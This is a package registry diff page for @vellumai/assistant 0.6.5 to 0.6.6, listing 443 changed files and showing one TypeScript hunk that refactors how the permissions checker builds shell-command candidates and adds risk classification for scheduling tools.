@vellumai/assistant 0.6.5 → 0.6.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (443) hide show
  1. package/AGENTS.md +9 -1
  2. package/ARCHITECTURE.md +15 -17
  3. package/Dockerfile +6 -4
  4. package/__tests__/permissions/gateway-threshold-reader.test.ts +283 -0
  5. package/docs/architecture/integrations.md +32 -39
  6. package/docs/architecture/memory.md +25 -30
  7. package/docs/architecture/security.md +7 -6
  8. package/docs/browser-use-architecture-phase2.md +63 -20
  9. package/docs/plugins.md +761 -0
  10. package/examples/plugins/echo/README.md +132 -0
  11. package/examples/plugins/echo/package.json +17 -0
  12. package/examples/plugins/echo/register.ts +187 -0
  13. package/node_modules/@vellumai/egress-proxy/src/types.ts +19 -0
  14. package/openapi.yaml +212 -68
  15. package/package.json +1 -1
  16. package/src/__tests__/app-compiler.test.ts +57 -0
  17. package/src/__tests__/approval-cascade.test.ts +7 -2
  18. package/src/__tests__/auto-analysis-end-to-end.test.ts +1 -0
  19. package/src/__tests__/avatar-generator.test.ts +4 -2
  20. package/src/__tests__/bundled-asset.test.ts +6 -6
  21. package/src/__tests__/catalog-cache.test.ts +69 -0
  22. package/src/__tests__/checker.test.ts +459 -171
  23. package/src/__tests__/circuit-breaker-pipeline.test.ts +406 -0
  24. package/src/__tests__/compaction-events.test.ts +501 -0
  25. package/src/__tests__/compaction-pipeline.test.ts +210 -0
  26. package/src/__tests__/compaction-strip-metadata-clear.test.ts +181 -0
  27. package/src/__tests__/compaction-timeout-recovery.test.ts +262 -0
  28. package/src/__tests__/config-model-image-provider.test.ts +110 -0
  29. package/src/__tests__/config-schema.test.ts +22 -9
  30. package/src/__tests__/config-watcher-cleanup-throttle.test.ts +0 -4
  31. package/src/__tests__/contacts-tools.test.ts +26 -0
  32. package/src/__tests__/context-overflow-policy.test.ts +7 -7
  33. package/src/__tests__/context-window-manager.test.ts +355 -4
  34. package/src/__tests__/conversation-abort-tool-results.test.ts +4 -1
  35. package/src/__tests__/conversation-agent-loop-overflow.test.ts +26 -30
  36. package/src/__tests__/conversation-agent-loop.test.ts +30 -141
  37. package/src/__tests__/conversation-confirmation-signals.test.ts +6 -1
  38. package/src/__tests__/conversation-history-web-search.test.ts +1 -0
  39. package/src/__tests__/conversation-init.benchmark.test.ts +2 -16
  40. package/src/__tests__/conversation-pairing.test.ts +174 -10
  41. package/src/__tests__/conversation-pre-run-repair.test.ts +4 -1
  42. package/src/__tests__/conversation-process-callsite.test.ts +3 -0
  43. package/src/__tests__/conversation-provider-retry-repair.test.ts +16 -7
  44. package/src/__tests__/conversation-queue.test.ts +29 -14
  45. package/src/__tests__/conversation-routes-disk-view.test.ts +7 -6
  46. package/src/__tests__/conversation-runtime-assembly.test.ts +155 -110
  47. package/src/__tests__/conversation-runtime-workspace.test.ts +23 -38
  48. package/src/__tests__/conversation-seed-composer.test.ts +2 -2
  49. package/src/__tests__/conversation-slash-queue.test.ts +7 -2
  50. package/src/__tests__/conversation-slash-unknown.test.ts +25 -2
  51. package/src/__tests__/conversation-speed-override.test.ts +6 -1
  52. package/src/__tests__/conversation-title-service.test.ts +116 -0
  53. package/src/__tests__/conversation-tool-setup-app-refresh.test.ts +41 -2
  54. package/src/__tests__/conversation-usage.test.ts +1 -1
  55. package/src/__tests__/conversation-workspace-cache-state.test.ts +4 -1
  56. package/src/__tests__/conversation-workspace-injection.test.ts +3 -0
  57. package/src/__tests__/conversation-workspace-tool-tracking.test.ts +4 -1
  58. package/src/__tests__/credential-health-service.test.ts +78 -9
  59. package/src/__tests__/credential-security-invariants.test.ts +2 -2
  60. package/src/__tests__/db-schedule-syntax-migration.test.ts +1 -0
  61. package/src/__tests__/empty-response-pipeline.test.ts +305 -0
  62. package/src/__tests__/extension-id-sync-guard.test.ts +3 -3
  63. package/src/__tests__/first-greeting.test.ts +247 -5
  64. package/src/__tests__/headless-browser-mode.test.ts +57 -0
  65. package/src/__tests__/history-repair-pipeline.test.ts +399 -0
  66. package/src/__tests__/host-browser-e2e-cloud.test.ts +307 -0
  67. package/src/__tests__/host-browser-e2e-self-hosted.test.ts +3 -3
  68. package/src/__tests__/host-proxy-interface.test.ts +36 -2
  69. package/src/__tests__/image-credentials.test.ts +137 -0
  70. package/src/__tests__/image-service-dispatcher.test.ts +186 -0
  71. package/src/__tests__/injector-chain.test.ts +526 -0
  72. package/src/__tests__/intent-routing.test.ts +0 -26
  73. package/src/__tests__/llm-call-pipeline.test.ts +285 -0
  74. package/src/__tests__/llm-schema.test.ts +1 -1
  75. package/src/__tests__/media-generate-image.test.ts +119 -13
  76. package/src/__tests__/memory-retrieval-pipeline.test.ts +401 -0
  77. package/src/__tests__/memory-upsert-concurrency.test.ts +1 -0
  78. package/src/__tests__/migration-import-from-url.test.ts +5 -68
  79. package/src/__tests__/model-intents.test.ts +4 -2
  80. package/src/__tests__/notification-broadcaster.test.ts +3 -3
  81. package/src/__tests__/notification-decision-strategy.test.ts +0 -11
  82. package/src/__tests__/notification-schedule-notify-dedup.test.ts +108 -0
  83. package/src/__tests__/oauth-apps-routes.test.ts +1 -1
  84. package/src/__tests__/oauth-cli.test.ts +14 -12
  85. package/src/__tests__/oauth-connect-orchestrator.test.ts +4 -13
  86. package/src/__tests__/oauth-provider-serializer.test.ts +6 -4
  87. package/src/__tests__/oauth-provider-visibility.test.ts +3 -5
  88. package/src/__tests__/oauth-providers-routes.test.ts +3 -2
  89. package/src/__tests__/oauth-store.test.ts +41 -76
  90. package/src/__tests__/onboarding-template-contract.test.ts +16 -64
  91. package/src/__tests__/openai-image-service.test.ts +368 -0
  92. package/src/__tests__/overflow-reduce-pipeline.test.ts +676 -0
  93. package/src/__tests__/permission-checker-host-gate.test.ts +0 -24
  94. package/src/__tests__/persist-onboarding-artifacts.test.ts +266 -0
  95. package/src/__tests__/persistence-pipeline.test.ts +377 -0
  96. package/src/__tests__/pipeline-runner.test.ts +565 -0
  97. package/src/__tests__/platform.test.ts +5 -2
  98. package/src/__tests__/plugin-bootstrap.test.ts +483 -0
  99. package/src/__tests__/plugin-registry.test.ts +273 -0
  100. package/src/__tests__/plugin-route-contribution.test.ts +288 -0
  101. package/src/__tests__/plugin-skill-contribution.test.ts +367 -0
  102. package/src/__tests__/plugin-tool-contribution.test.ts +286 -0
  103. package/src/__tests__/plugin-types.test.ts +320 -0
  104. package/src/__tests__/pricing.test.ts +44 -12
  105. package/src/__tests__/proxy-approval-callback.test.ts +69 -8
  106. package/src/__tests__/reaction-persistence.test.ts +1 -0
  107. package/src/__tests__/regenerate-fire-and-forget-trace.test.ts +1 -0
  108. package/src/__tests__/registry.test.ts +0 -2
  109. package/src/__tests__/schedule-routes.test.ts +131 -1
  110. package/src/__tests__/scheduler-recurrence.test.ts +14 -70
  111. package/src/__tests__/scheduler-reuse-conversation.test.ts +10 -50
  112. package/src/__tests__/secret-detection-handler.test.ts +0 -10
  113. package/src/__tests__/shell-identity.test.ts +0 -134
  114. package/src/__tests__/suggestion-routes.test.ts +103 -4
  115. package/src/__tests__/task-memory-cleanup.test.ts +1 -0
  116. package/src/__tests__/task-scheduler.test.ts +3 -15
  117. package/src/__tests__/test-preload.ts +11 -0
  118. package/src/__tests__/title-generate-pipeline.test.ts +224 -0
  119. package/src/__tests__/token-estimate-pipeline.test.ts +431 -0
  120. package/src/__tests__/tool-error-pipeline.test.ts +244 -0
  121. package/src/__tests__/tool-execute-pipeline.test.ts +431 -0
  122. package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +0 -6
  123. package/src/__tests__/tool-executor-shell-integration.test.ts +7 -10
  124. package/src/__tests__/tool-executor.test.ts +141 -0
  125. package/src/__tests__/tool-result-truncate-pipeline.test.ts +356 -0
  126. package/src/__tests__/tool-result-truncation.test.ts +0 -110
  127. package/src/__tests__/user-plugin-loader.test.ts +191 -0
  128. package/src/__tests__/workspace-migration-046-seed-conversation-starters-callsite.test.ts +185 -0
  129. package/src/__tests__/workspace-migration-049-release-notes-default-sonnet.test.ts +100 -0
  130. package/src/__tests__/workspace-migration-050-seed-main-agent-opus-callsite.test.ts +171 -0
  131. package/src/__tests__/workspace-migration-051-seed-conversation-summarization-callsite.test.ts +252 -0
  132. package/src/__tests__/workspace-migration-remove-hooks.test.ts +99 -0
  133. package/src/__tests__/workspace-policy.test.ts +21 -3
  134. package/src/agent/loop.ts +340 -102
  135. package/src/approvals/__tests__/guardian-feed-event.test.ts +304 -0
  136. package/src/approvals/guardian-request-resolvers.ts +80 -0
  137. package/src/backup/__tests__/backup-worker.test.ts +2 -13
  138. package/src/backup/backup-worker.ts +3 -15
  139. package/src/bundler/app-compiler.ts +84 -1
  140. package/src/calls/call-state.ts +2 -2
  141. package/src/channels/__tests__/types.test.ts +3 -3
  142. package/src/channels/types.ts +6 -4
  143. package/src/cli/__tests__/notifications.test.ts +87 -211
  144. package/src/cli/commands/__tests__/backup.test.ts +1 -1
  145. package/src/cli/commands/__tests__/image-generation.test.ts +255 -35
  146. package/src/cli/commands/__tests__/inference-send.test.ts +12 -0
  147. package/src/cli/commands/__tests__/tts-synthesize.test.ts +12 -0
  148. package/src/cli/commands/backup.ts +2 -2
  149. package/src/cli/commands/clients.ts +138 -0
  150. package/src/cli/commands/completions.ts +2 -9
  151. package/src/cli/commands/conversations.ts +55 -7
  152. package/src/cli/commands/image-generation.ts +33 -34
  153. package/src/cli/commands/notifications.ts +68 -103
  154. package/src/cli/commands/oauth/__tests__/providers-register.test.ts +1 -1
  155. package/src/cli/commands/oauth/__tests__/providers-update.test.ts +1 -1
  156. package/src/cli/commands/oauth/connect.ts +2 -2
  157. package/src/cli/commands/oauth/providers.ts +176 -8
  158. package/src/cli/commands/oauth/status.ts +46 -36
  159. package/src/cli/commands/skills.ts +3 -4
  160. package/src/cli/program.ts +25 -29
  161. package/src/config/__tests__/backup-schema.test.ts +7 -2
  162. package/src/config/bundled-skills/app-builder/SKILL.md +2 -2
  163. package/src/config/bundled-skills/app-builder/references/WIDGETS.md +10 -10
  164. package/src/config/bundled-skills/contacts/tools/contact-merge.ts +66 -87
  165. package/src/config/bundled-skills/contacts/tools/contact-search.ts +28 -51
  166. package/src/config/bundled-skills/contacts/tools/contact-upsert.ts +22 -40
  167. package/src/config/bundled-skills/image-studio/SKILL.md +2 -1
  168. package/src/config/bundled-skills/image-studio/TOOLS.json +2 -1
  169. package/src/config/bundled-skills/image-studio/tools/media-generate-image.ts +23 -39
  170. package/src/config/bundled-skills/messaging/SKILL.md +3 -3
  171. package/src/config/bundled-skills/messaging/tools/__tests__/messaging-feed-events.test.ts +207 -0
  172. package/src/config/bundled-skills/messaging/tools/messaging-archive-by-sender.ts +12 -0
  173. package/src/config/bundled-skills/messaging/tools/messaging-send.ts +58 -0
  174. package/src/config/bundled-skills/schedule/SKILL.md +8 -3
  175. package/src/config/bundled-skills/schedule/TOOLS.json +15 -7
  176. package/src/config/bundled-skills/schedule/references/SCRIPT_MODE_PATTERNS.md +59 -0
  177. package/src/config/bundled-tool-registry.ts +0 -15
  178. package/src/config/feature-flag-registry.json +17 -1
  179. package/src/config/schema.ts +19 -0
  180. package/src/config/schemas/backup.ts +1 -1
  181. package/src/config/schemas/conversations.ts +16 -0
  182. package/src/config/schemas/llm.ts +2 -3
  183. package/src/config/schemas/security.ts +6 -6
  184. package/src/config/schemas/tts.ts +11 -0
  185. package/src/config/skill-state.ts +6 -2
  186. package/src/config/skills.ts +94 -5
  187. package/src/context/__tests__/compact-prompt.test.ts +27 -9
  188. package/src/context/prompts/compact.md +26 -12
  189. package/src/context/tool-result-truncation.ts +3 -63
  190. package/src/context/window-manager.ts +190 -16
  191. package/src/credential-health/credential-health-service.ts +19 -6
  192. package/src/daemon/__tests__/conversation-feed-event.test.ts +317 -0
  193. package/src/daemon/__tests__/conversation-lifecycle-auto-analyze.test.ts +4 -12
  194. package/src/daemon/__tests__/conversation-tool-setup.test.ts +14 -15
  195. package/src/daemon/config-watcher.ts +0 -2
  196. package/src/daemon/context-overflow-policy.ts +4 -13
  197. package/src/daemon/conversation-agent-loop-handlers.ts +83 -22
  198. package/src/daemon/conversation-agent-loop.ts +984 -683
  199. package/src/daemon/conversation-history.ts +10 -19
  200. package/src/daemon/conversation-lifecycle.ts +37 -19
  201. package/src/daemon/conversation-notifiers.ts +2 -110
  202. package/src/daemon/conversation-process.ts +14 -7
  203. package/src/daemon/conversation-runtime-assembly.ts +532 -411
  204. package/src/daemon/conversation-tool-setup.ts +41 -4
  205. package/src/daemon/conversation.ts +80 -35
  206. package/src/daemon/external-plugins-bootstrap.ts +478 -0
  207. package/src/daemon/first-greeting.ts +191 -14
  208. package/src/daemon/handlers/config-model.ts +11 -0
  209. package/src/daemon/handlers/skills.ts +5 -1
  210. package/src/daemon/lifecycle.ts +33 -68
  211. package/src/daemon/message-types/computer-use.ts +2 -34
  212. package/src/daemon/message-types/conversations.ts +49 -0
  213. package/src/daemon/message-types/messages.ts +12 -0
  214. package/src/daemon/server.ts +5 -3
  215. package/src/daemon/shutdown-handlers.ts +2 -12
  216. package/src/daemon/tool-side-effects.ts +14 -56
  217. package/src/heartbeat/__tests__/heartbeat-feed-event.test.ts +160 -0
  218. package/src/heartbeat/heartbeat-service.ts +24 -1
  219. package/src/home/__tests__/feed-population-integration.test.ts +312 -0
  220. package/src/home/emit-feed-event.ts +7 -0
  221. package/src/home/feed-types.ts +41 -2
  222. package/src/home/rewrite-command-preview.ts +66 -0
  223. package/src/ipc/__tests__/socket-path.test.ts +11 -50
  224. package/src/ipc/cli-client.ts +1 -1
  225. package/src/ipc/cli-server.ts +3 -3
  226. package/src/ipc/gateway-client.ts +4 -1
  227. package/src/ipc/routes/browser-context.ts +2 -0
  228. package/src/ipc/routes/browser.ts +1 -0
  229. package/src/ipc/routes/get-contact.ts +16 -0
  230. package/src/ipc/routes/index.ts +14 -0
  231. package/src/ipc/routes/list-clients.ts +31 -0
  232. package/src/ipc/routes/merge-contacts.ts +17 -0
  233. package/src/ipc/routes/notification.ts +133 -0
  234. package/src/ipc/routes/rename-conversation.ts +59 -0
  235. package/src/ipc/routes/search-contacts.ts +19 -0
  236. package/src/ipc/routes/upsert-contact.ts +25 -0
  237. package/src/ipc/socket-path.ts +14 -38
  238. package/src/media/app-icon-generator.ts +23 -46
  239. package/src/media/avatar-router.ts +26 -41
  240. package/src/media/gemini-image-service.ts +8 -41
  241. package/src/media/image-credentials.ts +73 -0
  242. package/src/media/image-service.ts +85 -0
  243. package/src/media/openai-image-service.ts +131 -0
  244. package/src/media/types.ts +46 -0
  245. package/src/memory/conversation-crud.ts +48 -18
  246. package/src/memory/conversation-queries.ts +57 -4
  247. package/src/memory/conversation-title-service.ts +25 -0
  248. package/src/memory/db-init.ts +8 -0
  249. package/src/memory/embedding-gemini.test.ts +41 -2
  250. package/src/memory/embedding-gemini.ts +6 -1
  251. package/src/memory/graph/bootstrap.test.ts +282 -0
  252. package/src/memory/graph/bootstrap.ts +8 -5
  253. package/src/memory/graph/extraction.ts +10 -2
  254. package/src/memory/graph/graph-search.test.ts +1 -0
  255. package/src/memory/graph/inspect.ts +2 -2
  256. package/src/memory/graph/retriever.ts +10 -3
  257. package/src/memory/migrations/041-approval-prompt-ts-tracker.ts +26 -0
  258. package/src/memory/migrations/149-oauth-tables.ts +1 -0
  259. package/src/memory/migrations/223-schedule-script-column.ts +11 -0
  260. package/src/memory/migrations/224-oauth-providers-managed-service-is-paid.ts +24 -0
  261. package/src/memory/migrations/225-oauth-providers-available-scopes.ts +13 -0
  262. package/src/memory/migrations/index.ts +4 -0
  263. package/src/memory/pkb/pkb-index.test.ts +1 -0
  264. package/src/memory/pkb/pkb-reconcile.test.ts +1 -0
  265. package/src/memory/pkb/pkb-search.test.ts +65 -4
  266. package/src/memory/pkb/pkb-search.ts +40 -18
  267. package/src/memory/qdrant-client.test.ts +60 -0
  268. package/src/memory/qdrant-client.ts +25 -0
  269. package/src/memory/schema/infrastructure.ts +1 -0
  270. package/src/memory/schema/oauth.ts +4 -1
  271. package/src/messaging/providers/slack/render-transcript.test.ts +77 -29
  272. package/src/messaging/providers/slack/render-transcript.ts +58 -0
  273. package/src/notifications/conversation-pairing.ts +78 -19
  274. package/src/notifications/copy-composer.ts +0 -5
  275. package/src/notifications/emit-signal.ts +1 -1
  276. package/src/notifications/signal.ts +1 -2
  277. package/src/oauth/AGENTS.md +1 -1
  278. package/src/oauth/__tests__/identity-verifier.test.ts +2 -1
  279. package/src/oauth/connect-orchestrator.ts +8 -34
  280. package/src/oauth/connect-types.ts +6 -10
  281. package/src/oauth/manual-token-connection.ts +23 -0
  282. package/src/oauth/oauth-store.ts +30 -14
  283. package/src/oauth/provider-serializer.ts +6 -1
  284. package/src/oauth/seed-providers.ts +56 -108
  285. package/src/outbound-proxy/http-forwarder.ts +9 -0
  286. package/src/permissions/approval-policy.test.ts +293 -18
  287. package/src/permissions/approval-policy.ts +110 -58
  288. package/src/permissions/arg-parser.test.ts +161 -0
  289. package/src/permissions/arg-parser.ts +141 -0
  290. package/src/permissions/bash-risk-classifier.test.ts +414 -2
  291. package/src/permissions/bash-risk-classifier.ts +303 -60
  292. package/src/permissions/checker.ts +157 -29
  293. package/src/permissions/command-registry.test.ts +239 -0
  294. package/src/permissions/command-registry.ts +234 -54
  295. package/src/permissions/defaults.ts +5 -4
  296. package/src/permissions/gateway-threshold-reader.ts +196 -0
  297. package/src/permissions/prompter.ts +4 -0
  298. package/src/permissions/risk-types.ts +61 -4
  299. package/src/permissions/schedule-risk-classifier.test.ts +129 -0
  300. package/src/permissions/schedule-risk-classifier.ts +85 -0
  301. package/src/permissions/shell-identity.ts +2 -42
  302. package/src/permissions/types.ts +2 -0
  303. package/src/permissions/workspace-policy.ts +8 -3
  304. package/src/plugins/defaults/circuit-breaker.ts +146 -0
  305. package/src/plugins/defaults/compaction.ts +145 -0
  306. package/src/plugins/defaults/empty-response.ts +126 -0
  307. package/src/plugins/defaults/history-repair.ts +85 -0
  308. package/src/plugins/defaults/index.ts +116 -0
  309. package/src/plugins/defaults/injectors.ts +491 -0
  310. package/src/plugins/defaults/llm-call.ts +82 -0
  311. package/src/plugins/defaults/memory-retrieval.ts +226 -0
  312. package/src/plugins/defaults/overflow-reduce.ts +181 -0
  313. package/src/plugins/defaults/persistence.ts +129 -0
  314. package/src/plugins/defaults/title-generate.ts +95 -0
  315. package/src/plugins/defaults/token-estimate.ts +104 -0
  316. package/src/plugins/defaults/tool-error.ts +126 -0
  317. package/src/plugins/defaults/tool-execute.ts +89 -0
  318. package/src/plugins/defaults/tool-result-truncate.ts +88 -0
  319. package/src/plugins/pipeline.ts +316 -0
  320. package/src/plugins/plugin-skill-contributions.ts +292 -0
  321. package/src/plugins/registry.ts +241 -0
  322. package/src/plugins/types.ts +1134 -0
  323. package/src/plugins/user-loader.ts +177 -0
  324. package/src/prompts/templates/BOOTSTRAP.md +27 -77
  325. package/src/providers/model-catalog.ts +52 -29
  326. package/src/providers/model-intents.ts +1 -1
  327. package/src/providers/openrouter/client.ts +5 -1
  328. package/src/providers/speech-to-text/deepgram-realtime.test.ts +61 -0
  329. package/src/providers/speech-to-text/deepgram-realtime.ts +57 -0
  330. package/src/providers/speech-to-text/xai-realtime.test.ts +72 -4
  331. package/src/providers/speech-to-text/xai-realtime.ts +39 -14
  332. package/src/runtime/AGENTS.md +25 -16
  333. package/src/runtime/__tests__/browser-extension-pair-routes.test.ts +3 -3
  334. package/src/runtime/__tests__/client-registry.test.ts +293 -0
  335. package/src/runtime/client-registry.ts +261 -0
  336. package/src/runtime/http-server.ts +77 -8
  337. package/src/runtime/http-types.ts +0 -2
  338. package/src/runtime/migrations/vbundle-builder.ts +1 -22
  339. package/src/runtime/routes/approval-prompt-ts-tracker.ts +51 -31
  340. package/src/runtime/routes/approval-routes.ts +17 -0
  341. package/src/runtime/routes/browser-extension-pair-routes.ts +27 -8
  342. package/src/runtime/routes/conversation-routes.ts +223 -116
  343. package/src/runtime/routes/inbound-message-handler.ts +88 -13
  344. package/src/runtime/routes/memory-item-routes.test.ts +1 -0
  345. package/src/runtime/routes/migration-routes.ts +0 -3
  346. package/src/runtime/routes/playground/__tests__/force-compact.test.ts +284 -0
  347. package/src/runtime/routes/playground/__tests__/guard.test.ts +80 -0
  348. package/src/runtime/routes/playground/__tests__/inject-failures.test.ts +294 -0
  349. package/src/runtime/routes/playground/__tests__/reset-circuit.test.ts +271 -0
  350. package/src/runtime/routes/playground/__tests__/seed-conversation.test.ts +202 -0
  351. package/src/runtime/routes/playground/__tests__/seeded-conversations.test.ts +309 -0
  352. package/src/runtime/routes/playground/__tests__/state.test.ts +224 -0
  353. package/src/runtime/routes/playground/conversation-not-found.ts +29 -0
  354. package/src/runtime/routes/playground/deps.ts +56 -0
  355. package/src/runtime/routes/playground/force-compact.ts +73 -0
  356. package/src/runtime/routes/playground/guard.ts +37 -0
  357. package/src/runtime/routes/playground/index.ts +28 -0
  358. package/src/runtime/routes/playground/inject-failures.ts +159 -0
  359. package/src/runtime/routes/playground/reset-circuit.ts +115 -0
  360. package/src/runtime/routes/playground/seed-conversation.ts +139 -0
  361. package/src/runtime/routes/playground/seeded-conversations.ts +78 -0
  362. package/src/runtime/routes/playground/state.ts +78 -0
  363. package/src/runtime/routes/schedule-routes.ts +89 -8
  364. package/src/runtime/skill-route-registry.ts +75 -15
  365. package/src/schedule/run-script.ts +68 -0
  366. package/src/schedule/schedule-store.ts +7 -1
  367. package/src/schedule/scheduler.ts +48 -8
  368. package/src/skills/catalog-cache.ts +12 -5
  369. package/src/tools/browser/__tests__/browser-status.test.ts +189 -0
  370. package/src/tools/browser/browser-execution.ts +88 -19
  371. package/src/tools/browser/cdp-client/__tests__/extension-cdp-client.test.ts +230 -0
  372. package/src/tools/browser/cdp-client/__tests__/factory.test.ts +146 -3
  373. package/src/tools/browser/cdp-client/extension-cdp-client.ts +54 -3
  374. package/src/tools/browser/cdp-client/factory.ts +15 -4
  375. package/src/tools/executor.ts +126 -74
  376. package/src/tools/network/script-proxy/session-manager.ts +37 -1
  377. package/src/tools/permission-checker.ts +98 -49
  378. package/src/tools/policy-context.ts +4 -0
  379. package/src/tools/registry.ts +140 -3
  380. package/src/tools/schedule/create.ts +23 -8
  381. package/src/tools/schedule/update.ts +3 -1
  382. package/src/tools/secret-detection-handler.ts +0 -51
  383. package/src/tools/system/avatar-generator.ts +6 -2
  384. package/src/tools/types.ts +28 -2
  385. package/src/util/platform.ts +7 -2
  386. package/src/util/pricing.ts +26 -3
  387. package/src/workspace/migrations/006-services-config.ts +2 -4
  388. package/src/workspace/migrations/022-move-hooks-to-workspace.ts +2 -3
  389. package/src/workspace/migrations/041-backfill-google-gmail-settings-scope.ts +3 -4
  390. package/src/workspace/migrations/046-seed-conversation-starters-callsite.ts +108 -0
  391. package/src/workspace/migrations/047-remove-watch-callsites.ts +54 -0
  392. package/src/workspace/migrations/048-remove-workspace-hooks.ts +81 -0
  393. package/src/workspace/migrations/049-release-notes-default-sonnet.ts +80 -0
  394. package/src/workspace/migrations/050-seed-main-agent-opus-callsite.ts +86 -0
  395. package/src/workspace/migrations/051-seed-conversation-summarization-callsite.ts +128 -0
  396. package/src/workspace/migrations/registry.ts +12 -0
  397. package/tsconfig.json +1 -1
  398. package/hook-templates/debug-prompt-logger/hook.json +0 -7
  399. package/hook-templates/debug-prompt-logger/run.sh +0 -66
  400. package/src/__tests__/compaction-circuit-breaker.test.ts +0 -336
  401. package/src/__tests__/context-overflow-approval.test.ts +0 -156
  402. package/src/__tests__/hooks-blocking.test.ts +0 -178
  403. package/src/__tests__/hooks-cli.test.ts +0 -182
  404. package/src/__tests__/hooks-config.test.ts +0 -108
  405. package/src/__tests__/hooks-discovery.test.ts +0 -211
  406. package/src/__tests__/hooks-integration.test.ts +0 -196
  407. package/src/__tests__/hooks-manager.test.ts +0 -226
  408. package/src/__tests__/hooks-runner.test.ts +0 -175
  409. package/src/__tests__/hooks-settings.test.ts +0 -160
  410. package/src/__tests__/hooks-templates.test.ts +0 -169
  411. package/src/__tests__/hooks-ts-runner.test.ts +0 -170
  412. package/src/__tests__/hooks-watch.test.ts +0 -112
  413. package/src/__tests__/notification-schedule-dedup.test.ts +0 -213
  414. package/src/__tests__/oauth-scope-policy.test.ts +0 -180
  415. package/src/__tests__/send-notification-tool.test.ts +0 -83
  416. package/src/cli/commands/shotgun.ts +0 -266
  417. package/src/config/bundled-skills/conversations/SKILL.md +0 -20
  418. package/src/config/bundled-skills/conversations/TOOLS.json +0 -23
  419. package/src/config/bundled-skills/conversations/tools/rename-conversation.ts +0 -88
  420. package/src/config/bundled-skills/heartbeat/SKILL.md +0 -43
  421. package/src/config/bundled-skills/notifications/SKILL.md +0 -40
  422. package/src/config/bundled-skills/notifications/TOOLS.json +0 -80
  423. package/src/config/bundled-skills/notifications/tools/send-notification.ts +0 -152
  424. package/src/config/bundled-skills/notifications/tools/shared.ts +0 -13
  425. package/src/config/bundled-skills/screen-watch/SKILL.md +0 -27
  426. package/src/config/bundled-skills/screen-watch/TOOLS.json +0 -35
  427. package/src/config/bundled-skills/screen-watch/tools/start-screen-watch.ts +0 -12
  428. package/src/config/bundled-skills/skills-catalog/SKILL.md +0 -84
  429. package/src/daemon/context-overflow-approval.ts +0 -52
  430. package/src/daemon/watch-handler.ts +0 -399
  431. package/src/hooks/cli.ts +0 -253
  432. package/src/hooks/config.ts +0 -100
  433. package/src/hooks/discovery.ts +0 -135
  434. package/src/hooks/manager.ts +0 -179
  435. package/src/hooks/runner.ts +0 -117
  436. package/src/hooks/templates.ts +0 -77
  437. package/src/hooks/types.ts +0 -75
  438. package/src/oauth/scope-policy.ts +0 -89
  439. package/src/runtime/gateway-internal-client.ts +0 -94
  440. package/src/runtime/routes/watch-routes.ts +0 -156
  441. package/src/signals/shotgun.ts +0 -203
  442. package/src/tools/watch/screen-watch.ts +0 -144
  443. package/src/tools/watch/watch-state.ts +0 -142
@@ -1,6 +1,6 @@
1
1
  import { createHash } from "node:crypto";
2
2
  import { homedir } from "node:os";
3
- import { dirname, resolve } from "node:path";
3
+ import { dirname, join, resolve } from "node:path";
4
4
 
5
5
  import { isAssistantFeatureFlagEnabled } from "../config/assistant-feature-flags.js";
6
6
  import { getIsContainerized } from "../config/env-registry.js";
@@ -16,18 +16,28 @@ import {
16
16
  looksLikePathOnlyInput,
17
17
  } from "../tools/network/url-safety.js";
18
18
  import { getTool } from "../tools/registry.js";
19
+ import { getWorkspaceDir } from "../util/platform.js";
19
20
  import {
20
21
  type ApprovalContext,
21
22
  DefaultApprovalPolicy,
22
23
  resolveThreshold,
23
24
  } from "./approval-policy.js";
25
+ import { parseArgs } from "./arg-parser.js";
24
26
  import { bashRiskClassifier } from "./bash-risk-classifier.js";
27
+ import { DEFAULT_COMMAND_REGISTRY } from "./command-registry.js";
25
28
  import { fileRiskClassifier } from "./file-risk-classifier.js";
26
- import { type RiskAssessment, riskToRiskLevel } from "./risk-types.js";
29
+ import { getAutoApproveThreshold } from "./gateway-threshold-reader.js";
27
30
  import {
31
+ type CommandRiskSpec,
32
+ type RiskAssessment,
33
+ riskToRiskLevel,
34
+ } from "./risk-types.js";
35
+ import { scheduleRiskClassifier } from "./schedule-risk-classifier.js";
36
+ import {
37
+ analyzeShellCommand,
28
38
  buildShellAllowlistOptions,
29
- buildShellCommandCandidates,
30
39
  cachedParse,
40
+ deriveShellActionKeys,
31
41
  type ParsedCommand,
32
42
  } from "./shell-identity.js";
33
43
  import { skillLoadRiskClassifier } from "./skill-risk-classifier.js";
@@ -40,7 +50,10 @@ import {
40
50
  type ScopeOption,
41
51
  } from "./types.js";
42
52
  import { webRiskClassifier } from "./web-risk-classifier.js";
43
- import { isWorkspaceScopedInvocation } from "./workspace-policy.js";
53
+ import {
54
+ isPathWithinWorkspaceRoot,
55
+ isWorkspaceScopedInvocation,
56
+ } from "./workspace-policy.js";
44
57
 
45
58
  // ── Risk classification cache ────────────────────────────────────────────────
46
59
  // classifyRisk() is called on every permission check and can invoke WASM
@@ -242,10 +255,27 @@ async function buildCommandCandidates(
242
255
  preParsed?: ParsedCommand,
243
256
  ): Promise<string[]> {
244
257
  if (toolName === "bash" || toolName === "host_bash") {
245
- return buildShellCommandCandidates(
246
- getStringField(input, "command"),
247
- preParsed,
248
- );
258
+ const command = getStringField(input, "command").trim();
259
+ if (!command) return [command];
260
+
261
+ const analysis = await analyzeShellCommand(command, preParsed);
262
+ const actionResult = deriveShellActionKeys(analysis);
263
+
264
+ const candidates: string[] = [command];
265
+
266
+ if (actionResult.keys.length > 0) {
267
+ if (actionResult.isSimpleAction && actionResult.primarySegment) {
268
+ const canonical = actionResult.primarySegment.command;
269
+ if (canonical !== command) {
270
+ candidates.push(canonical);
271
+ }
272
+ }
273
+ for (const actionKey of actionResult.keys) {
274
+ candidates.push(actionKey.key);
275
+ }
276
+ }
277
+
278
+ return [...new Set(candidates)];
249
279
  }
250
280
 
251
281
  if (toolName === "skill_load") {
@@ -475,6 +505,19 @@ export async function classifyRisk(
475
505
  reason: assessment.reason,
476
506
  };
477
507
  }
508
+ // ── Schedule tools: delegate to ScheduleRiskClassifier ──────────────────
509
+ else if (toolName === "schedule_create" || toolName === "schedule_update") {
510
+ const assessment = await scheduleRiskClassifier.classify({
511
+ toolName,
512
+ mode: getStringField(input, "mode") || undefined,
513
+ script: getStringField(input, "script") || undefined,
514
+ });
515
+ classifierAssessment = assessment;
516
+ result = {
517
+ level: riskToRiskLevel(assessment.riskLevel),
518
+ reason: assessment.reason,
519
+ };
520
+ }
478
521
  // ── Remaining tools: fall through to registry-based classification ──────
479
522
  else {
480
523
  result = {
